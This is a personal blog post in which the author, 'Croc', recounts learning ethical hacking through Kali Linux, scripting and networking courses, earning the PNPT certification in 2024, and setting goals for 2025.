It was the start of 2023; I started tinkering around & watching different videos on YouTube about the career pathway and all that kinda stuff. I learned that Linux is essential for an ethical hacker, and this was the first time I was introduced to the term “virtualization“. I installed Kali Linux in a VM(Virtual Machine) and started watching tutorials on how to use it.

To strengthen my foundation, I enrolled in courses for Python and Bash scripting. While I managed to complete them, I realized that a lack of consistent practice caused much of the knowledge to fade over time. Recognizing this gap, I plan to revisit and redo these courses to ensure a deeper and more lasting understanding.

Starting from there, one day I came across the 2023 roadmap for an ethical hacker by The Cyber Mentor@TCM Security, which gave me a clear pathway of where to go. However, it has an updated version for 2025 published recently which you can see below:

PNPT

As I got to TCM Security, I heard about their most famous cert, the PNPT(Practical Network Penetration Tester). I started preparing for it at the start of 2024. The first course I started doing was the PEH(Practical Ethical Hacking) course. But I realized that my networking skills weren’t up to the mark so I left that over there and went to do a networking course from YouTube. I did the CCNA course from networkchuck though there are a hell lot of other options available as well.

With my networking skills improved, I went back to working on my goal of getting the PNPT certification. After months of hard work and focus, I was able to achieve it in November 2024—something I couldn’t have done without the help and blessings of ALLAH.

I’ll be sharing a detailed review of the exam, packed with tips and resources to help you pass on your first attempt. Stay tuned!

Feel free to explore the About page to learn more about me!

croc, What’s next?

I have set several goals for 2025, and inshALLAH, I am determined to achieve them:

G1: Projects

I plan to work on some projects that solve real world pentesting challenges and streamline the pentester’s workflow.

G2: Being a Cyber Mentor

Knowledge shared is knowledge multiplied. Hence, I aim to become a cyber mentor and give back to the community. Feel free to DM me on Discord if you need help with anything. My username is, you all know, @croclius.

G3: Repeat, Repeat & Repeat

Repetition is the foundation of mastery in cybersecurity. I plan on revisiting my notes and practicing stuff back and forth until it becomes second nature.

Final Thoughts

I am determined to provide you with as much value as possible and look forward to your strong support on this journey. Thanks for checking out my blog!

–Croc